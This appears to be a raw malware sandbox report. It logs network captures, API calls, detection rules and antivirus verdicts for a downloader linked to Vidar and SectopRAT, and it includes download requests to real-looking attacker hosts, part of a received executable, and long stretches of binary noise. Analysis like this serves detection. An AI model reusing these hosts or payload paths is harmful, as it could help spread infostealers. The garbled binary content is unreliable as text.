ŸØ8‹@ì@"üB=Ëryúuðò@î)­g¤~V òµ¢w—Ñá|0‚þ0"y3„™ð#<¥ƒ|¯Ïæ%– º€¿ÞcPn2̵‹ÏŒÙ"è²Bzä!*Wœ5+qüI ºÝ÷!юãÛoStC*œ¿iÈrtñ/sXk>U®U[ùeãr["‰ nË|ýßAÿàÏpOӒš¬†‹èZ“­•c4ROî^g5êe#yÖk†¤üƒ²Lp——5Îö3 ¼0ôô9ærµEO{ Î篧9çÿ@é%¿â'uZ]( ^‚zK7Ã^bôR7 }½|ü4dù-毲ÖÓA FT÷kÏx¤;Š@3®rÃá×D¾]uä Å’xPS„hÕ$üù…êfË*0î'Šñ±Z4RcÚÄj÷Ti^cõ§ù=0™ÁBÇS¡ÙE¿‚Wùà¼,<œ±×g|VSsî‘Ðí7hPñMxn EØÃÜވCÓôÚùn@DçWø[Q@´'f ­›g ÖÒ´!,|¦£b÷™•ÑF¯`ˆ×ŽwÝ@H¾æ÷ èº;ÂažšLÜöÉk3tòMPî}Ì$]‚7+:¿ÆÑÍGK`ä[4ºL÷;èLÿý?³U¨¤1¯Èú“˜ ³åE€¸4«unÇh6Èp4É"ZŒîHóhã|·Ÿcžì“Ã`§@eN97 >¸-dߓDIÛØÁuHJÁØ3´ÒwFîc¦Q÷ õ?âÀk_|[û·¶}TNišZXˆ`¹?¿eøñ½Ö‹ ¼Å˜«›j+™3™fú—Uª‰øOžÐJ¥¹*ðõSK?=汎£n­ƒÇsX 8H¬_…ÇP‹f¶FË-]°iþ‘pÌgL²nWT¤šR)@4<@{t¦«Â^E pø¯ªm–ôú^¶-ßY”] !³ÂQg#H4†¸Dï©x‘J M`G‚Qÿ9a ¿þgÿÖyQ/÷M輚š(òÍÌö° ÊUºp¦#N óažS?QôoW…ÍBã ç´Æk.k×ÿ*ñ)·NßàË*TRQü¸Ñâám³›ñ ŠôNOœ* Ô©j±í ‰ŸÛ= –£”9:+¸¨=r hˆÚf®†{†JANáؾ£,ù†5Î|br%讧Ã+/ÐqÐöÌąí_Gœ|À.¨±!òèÀN |œ<”‰ºžVÊC†>aóÏLÏ”[0ø:Ä|áÿ ™’søÜr”£†bh ïSÀŸ<nýÃÁXö»¢7*Q]†:Îþbæwy£“?À)@ŸQÞÔ §ùÐ= -Ì»"çL¯í“xÉGV@§§£úŒ>à6y_OÒ¤‡òK7ÈO®á›m¯7ù>9¡ž£Mäh†­mSÌ&+%7›5Ž25 ÓÎëV@o]©Î‘Xž®òø4Ëëßx±þÂJ½—BÂëÚÐ\ÁÕhþj¯;‚±vK+}ºzùñ^ÐT>­Zõg9XôÚé"º]…y±C+~–´/Ië…À#T¹ËôûR!ùl•méÛ³ì0âú¯•–zª¶“ÉßvÓ–/r« ½ ðRŒÇÙE5¯w…º*°ÉÑ~Ýp›¾™È<})< —5±q^ë÷âp†Â1´Ÿ’m-cP+\¥$ÇMÑGÒ¥ÿg[Ï&#ÌTÔ±#õ” ò2ûòÑ»J½ FŸ¦Ý©( Oa§É$Àÿþ“´´;»!úœ©t(¯É‘ßlã¹ÜՒO¿V®S±ã˜˜´Í3¬g›º$ 0n_Wú3‘QFNè8×_ý‘Á:â¤rÙ|°®m%†|e\èuÊP%w>1ϫЦ`óY2A#à4iÏïzÚu×é7j×f’rþ‰Æ RŠA_iÄ]™þ#áôLÌjŸ•“]«oÏcðǧˆ[ÖĊ??úå O¸zäÈÄ8*°Î5>îÕ4Ôüž"¶Åñ-rßKÙ⾡‰¢³©7$´iÆýD¸X`‰8Dµ]Öè:­AŠ ø#¤²A8—óyyó~¸aÇ·øMyñŸ?µÿu‹>¥ZC܆M›ÒéÄ Mì11)à gYKD0eËw¹æO`jwÕq©¡0å=xšˆœü‚ôš ‡y„.Z+$¸+îń9ÖQ,¯`¬§æ=./!q˜Êž2î˜m¨hÊ{„|d+¤U…³ZVZvŒ¡ëð#pzDo¹súȖÁUÉõ³ ÇýQÆx0ãLišúœ¨2E±Æ*f¸î¶F>҉óð±¶Ä@æGÄ')ja&ŠëµD}•/QdlÃÏ/„7¨Ú¥M3…¹ÔÕS@üìKv=|£¯lùhxÅ÷^ÖUÓ&_Qé™së²`kÃm>\×П§5mßMbL3䳶åç; _zÙ ¼ãuu?û‰€f'cµŠ]Û4³ãÐué9{]Ì´_¤;‡ÖœÐ÷”(²C–²½¨°6k15Å; ƒô0s`?^ 3;•x˗Zÿ¢v¦¨;ÿ÷Æ5ܪ©½œ8áf+Ûà]2•V‘„!ÕÔûDKxÅi#¨ZŸ„]W ®½ pj”DUq %9²®wµ|Øl3º¨åŸ…ÓѤœŽàMÙë±üùŽyùõß½&ÅÜü*æ4°uŒ×S•ö •È7±¤îËj
Data received WQü°nÕEÀÚ*žPÌĚÚÉ´ÞADDOWNGRD ‡§xð3i案"R àyé[N?„,û}”k¼`ñÀ ÿ
Data received GAþÿV²wžUàÒn@YKYztòK^»Š áÞØË«¯™«Bz@„p màg5¾YÌÈŒ~QƒŒÝ¢ ÕhË\ÐyGè +¼ƒ1ܳ»fþî–Y<+xeF^¨ÞGrÍÓ³Þ´L©,´»Ð›Öpø׳Ë约Ws¼oP‹ÇÁsuêH†Ž5Á r7gyÄ gŒèA†õÍýdmÉ«a‚LoOô Ç-Ù$á)¢¿VÙ^ï´K\v5ß(ÝÞ0É£ð†¼h¹K ÅÑ¥l>z¸òS´©g `b‹–ÆÅÕ[ì†~S…öËËKÁ­þIBò1]JQ=¯¯[Ì. ÓVUè d7…¶øñ¬}®–¼å›q*m7=®ÈìÐ=xˆ VŠyccªƒOøŽYþuY&fM0ÔÛ6{0õ‰‹œ
Data received cˆd|\RY:Nš¢³:²ôIA9àæŠâÔT‘ã&ŸNEª+Z õx>9Æ¡3ÏóœÎ”
Data received ð
Data received ņçFi5˜’`"Ãï˔Ç!Œ;!Â]šIƒ íVrqâêÐóÛ©ÀÈ\'ZAf¤•òŒUp>pÁE¡û½³I=Æ;ŒìG®F‹ö©°P‘À$¿¬¡wÕý wdô8«Ñdǁ­;’(¥¨ý0­ì¦t I0ð¦/Ý(£$N®•ÒŒY“g1ÔÞ¸9ЊšßFªp„$apCƒ$&)8&tÉ¿½l™ET®×`ê¢qŠeÚ7õ¹âBWøÀ|3ÿÑ»cצŽ;L¨2ëïœpI³7=%Û+=Œùɺ»^˜”"ô+H´3m—¶´i ~´PJŒ]ÊhgRs³ŠÜš7¯Þ2ŸJàþ/™T¹&#qzëˆ<b̜á4A|2ÿ³ÔÙþ—]µaÃò?Ù]ª €{.è\, ’O‚\vÁ±ŽåYi\üò]Í”O «ÉΡÆ[ƒÉ)›†À[#/¹ÍiDŒ@-nÕ{súávÏÔN–¾'¾Ú¶Â/ŒN¼¬ðXîbȗîpî–TFļ×;cD7Q79ীÝë(_!ÙKMÂ⬧îVÎ7\ÂÝE}âØ«—º·!ʃÁN{rø4•ŠÈ/%‰=¤d~øÒËÆÖÉþÌ©§9n’àt.„cWáw`Ç$5ù‚H
Data received HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: Caddy Status: 404 Not Found X-Powered-By: PHP/7.3.25 Date: Fri, 03 May 2024 06:35:36 GMT Content-Length: 17 404 Not Found - 7
Data sent €|f4…+qvÖ +µ‹Yüɭ͍;Pi³û’¦ËßÃ]:</5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
Data sent FBAMA®U!póË(/ÌϦq~Z!ÄöjÆááèµOóL™Jº1|_0ËÄt@Çý î:†@/!±1åÛS Â2¨é²y0{mRîáî@ Q–Uø|ÐØܳùç›ô(¶(Þ¸ô 3 ’J‰ùµ&†JªôIÂ
Data sent €ù|è ïàS¤ÃQö=d@>æ%A(¬ž½_§#@ õ‚ Cl‘«?«x æ/ss ÎA»ä233Ùsz9ÌUÆ,l9BòN¦™v„0t&µæ¨–G.y„ê+SteÒá–e¶Ðéðo§É¿Ð8¶üF9eÒ®!b»Ü)wIjhD
Data sent €|f4…-}’ójÂ$éÃïF^N_Pž©ð\USËfå>9/5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
Data sent FBAasµ±ðjXω¼7â/g6’›Â_µ.o¹vãc™pr|ã:ñ“ÓîD®­ûB@[À&+ãXúñ7×1îùc0Ü$ó[¹Å§5"Q"ŸVp¬RPÃýxéFj|}ÈUÂMh$º<¼~ÏÂO«‹R
Data sent €Èæ]íA«+Oœ ®íÜ㧠±9ÄåÚ­•Æd aÈ Õü1böðې;2±¢˜¤émxÞCÈ#·€`qi âoײŽOÔ^îÃp½ ÂN‚&œìO{ž™‡ÙŒ,jlȈSj·mR.¨)\¤àÚ"Õ¤?ñéÁHˆi³Ü„‚
Data sent GET /ISetup1.exe HTTP/1.1 Host: 185.172.128.59 Connection: Keep-Alive
Data sent €|f4…0Š eøZ?¿¼3´)æ•`íW‰è·u”’~J¸/5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
Data sent FBAÙͪ£œ:¸;[ڟ½WzççÝÙE»|¡]Ö£¼K œÖ¯[…{>U7¬® (uµú…œ'ÍA>mpt·ˆ<èäÉ0³®fhÁÚØïyà#Tù„e:ùïäêzŸîEé‚0êîM¸$« g½¹ç®8
Data sent °i…\—½3–5£²ì¢û£¼~¸Ås~¢Õ¥“øê(—{oÕ«”¨¥¦W’{Üt¦Ó{ö¡îBúÅϋ [yÉVÄ~Q gh.èžY]TáPšuocR)ÌñŽvïåqÔ×htúŸ lQÏåÿ2i½³ s&Š Ç6»ÔâS^ð™*Èî#ôöØX3èÊ/⓹¶]–‡N6’¾?4 sp8ßB»/T؞ôéøù‡• º
Data sent GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Steal credential rule local_credential_Steal
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description File Downloader rule Network_Downloader
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Communications over P2P network rule Network_P2P_Win
host 185.172.128.59
Time & API Arguments Status Return Repeated

send

 buffer: €|f4…+qvÖ +µ‹Yüɭ͍;Pi³û’¦ËßÃ]:</5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
socket: 1420
sent: 133
1 133 0

send

 buffer: FBAMA®U!póË(/ÌϦq~Z!ÄöjÆááèµOóL™Jº1|_0ËÄt@Çý î:†@/!±1åÛS Â2¨é²y0{mRîáî@ Q–Uø|ÐØܳùç›ô(¶(Þ¸ô 3 ’J‰ùµ&†JªôIÂ
socket: 1420
sent: 134
1 134 0

send

 buffer: €ù|è ïàS¤ÃQö=d@>æ%A(¬ž½_§#@ õ‚ Cl‘«?«x æ/ss ÎA»ä233Ùsz9ÌUÆ,l9BòN¦™v„0t&µæ¨–G.y„ê+SteÒá–e¶Ðéðo§É¿Ð8¶üF9eÒ®!b»Ü)wIjhD
socket: 1420
sent: 133
1 133 0

send

 buffer: €|f4…-}’ójÂ$éÃïF^N_Pž©ð\USËfå>9/5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
socket: 1436
sent: 133
1 133 0

send

 buffer: FBAasµ±ðjXω¼7â/g6’›Â_µ.o¹vãc™pr|ã:ñ“ÓîD®­ûB@[À&+ãXúñ7×1îùc0Ü$ó[¹Å§5"Q"ŸVp¬RPÃýxéFj|}ÈUÂMh$º<¼~ÏÂO«‹R
socket: 1436
sent: 134
1 134 0

send

 buffer: €Èæ]íA«+Oœ ®íÜ㧠±9ÄåÚ­•Æd aÈ Õü1böðې;2±¢˜¤émxÞCÈ#·€`qi âoײŽOÔ^îÃp½ ÂN‚&œìO{ž™‡ÙŒ,jlȈSj·mR.¨)\¤àÚ"Õ¤?ñéÁHˆi³Ü„‚
socket: 1436
sent: 133
1 133 0

send

 buffer: GET /ISetup1.exe HTTP/1.1 Host: 185.172.128.59 Connection: Keep-Alive
socket: 1944
sent: 75
1 75 0

send

 buffer: €|f4…0Š eøZ?¿¼3´)æ•`íW‰è·u”’~J¸/5 ÀÀÀ À 28;ÿ" d2iv78ooxaijb6.cloudfront.net  
socket: 1436
sent: 133
1 133 0

send

 buffer: FBAÙͪ£œ:¸;[ڟ½WzççÝÙE»|¡]Ö£¼K œÖ¯[…{>U7¬® (uµú…œ'ÍA>mpt·ˆ<èäÉ0³®fhÁÚØïyà#Tù„e:ùïäêzŸîEé‚0êîM¸$« g½¹ç®8
socket: 1436
sent: 134
1 134 0

send

 buffer: °i…\—½3–5£²ì¢û£¼~¸Ås~¢Õ¥“øê(—{oÕ«”¨¥¦W’{Üt¦Ó{ö¡îBúÅϋ [yÉVÄ~Q gh.èžY]TáPšuocR)ÌñŽvïåqÔ×htúŸ lQÏåÿ2i½³ s&Š Ç6»ÔâS^ð™*Èî#ôöØX3èÊ/⓹¶]–‡N6’¾?4 sp8ßB»/T؞ôéøù‡• º
socket: 1436
sent: 181
1 181 0

send

 buffer: GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive
socket: 1944
sent: 134
1 134 0
Time & API Arguments Status Return Repeated

recv

 buffer: HTTP/1.1 200 OK Date: Fri, 03 May 2024 06:35:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 03 May 2024 06:30:01 GMT ETag: "74c01-61786d9769497" Accept-Ranges: bytes Content-Length: 478209 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $2×Çv¶©Lv¶©Lv¶©L{ävLj¶©L{äIL ¶©L{äHL]¶©LÎ:Ls¶©Lv¶¨L¶©LÃ(LLw¶©L{ärLw¶©LÃ(wLw¶©LRichv¶©LPELóSYdà  üÞb?@ðc$_dt<°aù2à8Èi@p.textåûü `.rdata²ln@@.dataH&`€ªn@À.rsrcù2°a4@@¹\•¡èuhÛ AèŸ)Yùd•¡èÈhÑ Aè‰)YùP•¡èhÇ Aès)YÃj¹X•¡èÃj¹L•¡èÃj¹`•¡èûÃj¹T•¡èîÃÌÌÌÌÌÌÌÌÌÌU‹ìQQƒìòL$ò$èˆÝ]øòEøƒÄ‹å]ÃU‹ìQQQQò$è(%Ý]øòEøYY‹å]ÃU‹ìVE‹ñPè…Ç1A‹Æ^]ÂÇ1AéÐU‹ìV‹ñèêÿÿÿöEtVèª)Y‹Æ^]ÂU‹ì‹E ]ÃU‹ì‹E€8u3À]ÃPè×%Y]ÃU‹ìƒ}u‹E]Ã]éU‹ìƒ}u‹E]Ã]é<U‹ì‹E Š‹Eˆ]ÃU‹ì‹E‰‹Á]ÂÇtA‹ÁÃÇtAÃU‹ì3À;M”À]ÂU‹ìV‹ñèßÿÿÿöEtVè)Y‹Æ^]‹ËAÃU‹ì‹E‰‹E ‰A‹Á]‹ËAÃU‹ìW‹ù‹MèîÿÿÿP‹Ïèæÿÿÿ‹Èè“ÿÿÿ„Àt‹MVèÏÿÿÿ‹Ï‹ðèÆÿÿÿ;Æ^u3À@ë3À_]ÂU‹ìQÿu ‹Mè’ÿÿÿ‹E]ÂU‹ìQQÿu ‹UøÿuRÿP ‹Èè‹ÿÿÿ‹å]ÂU‹ìV‹ñ‹MèXÿÿÿP‹Îèÿÿÿ^„Àt‹Mè@ÿÿÿ;E u3À@ë3À]ÂV‹ñèêþÿÿǐA‹Æ^ø°fAÃU‹ìQÿu ƒeüè6Y…À¹¸fAEÈQ‹Mèœ ‹E‹å]ÂU‹ìV‹ñèöEtVèÓ'Y‹Æ^]Âé’þÿÿV‹ñèÿÿÿǬA‹Æ^øÈfAÃU‹ìQƒeüƒ} u‹MhÔfAè< ë ÿu ÿuèoÿÿÿ‹E‹å]ÂU‹ìV‹ñèöEtVèf'Y‹Æ^]ÂéŽÿÿÿV‹ñè"ÿÿÿÇÈA‹Æ^øìfAÃU‹ìQÿu ƒeüèŠY…À¹¸fAEÈQ‹MèÆ ‹E‹å]ÂU‹ìÿu è8Y…Àtè>ëè=‹MPÿu èôýÿÿ‹E]ÂU‹ìV‹ñèöEtVèÎ&Y‹Æ^]Âéöþÿÿ¸\•¡øP•¡Áá4ïÆÃU‹ìì SV‹ñ3ہ=@•¡”W‰ű‹~‰EèuS…äöÿÿPSÿHA¡’AMô‰EØ¡’A‰]ôÇEÔ¹y7ž‰EÜè¡ÿÿÿ¡ ’AEô?‹5’Aj ‰EÐ[ÇEäƒEä‹EèÁàÆÇEð@.ëí=@•¡©‰Eü¡<•¡DEðƒeð=@•¡ë£<•¡¡¨”¡DE𣨔¡‹EôEè‰Eð‹EèÁè‰Eø‹Mü3Mð‹EøEÐ3Á‰Mü‹ @•¡Ç8•¡î=êô
received: 2600
socket: 1944
1 2600 0
Process injection Process 2676 resumed a thread in remote process 2984
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2984
1 0 0
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\Temp\i1.exe
Bkav W32.AIDetectMalware
Cylance unsafe
VirIT Trojan.Win32.Genus.VIN
Symantec Trojan.Gen.MBT
Elastic malicious (high confidence)
APEX Malicious
Avast FileRepMalware [Pws]
Kaspersky HEUR:Trojan.Win32.Agent.gen
TrendMicro TrojanSpy.Win32.VIDAR.YXEEBZ
Trapmine malicious.moderate.ml.score
FireEye Generic.mg.d58a180c5d854484
Sophos Mal/Generic-S
Webroot W32.Malware.Gen
Kingsoft Win32.Trojan.Agent.gen
Gridinsoft Trojan.Win32.SectopRAT.tr
Microsoft Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm HEUR:Trojan.Win32.Agent.gen
DeepInstinct MALICIOUS
VBA32 suspected of Trojan.Downloader.gen
TrendMicro-HouseCall TrojanSpy.Win32.VIDAR.YXEEBZ
AVG FileRepMalware [Pws]
Paloalto generic.ml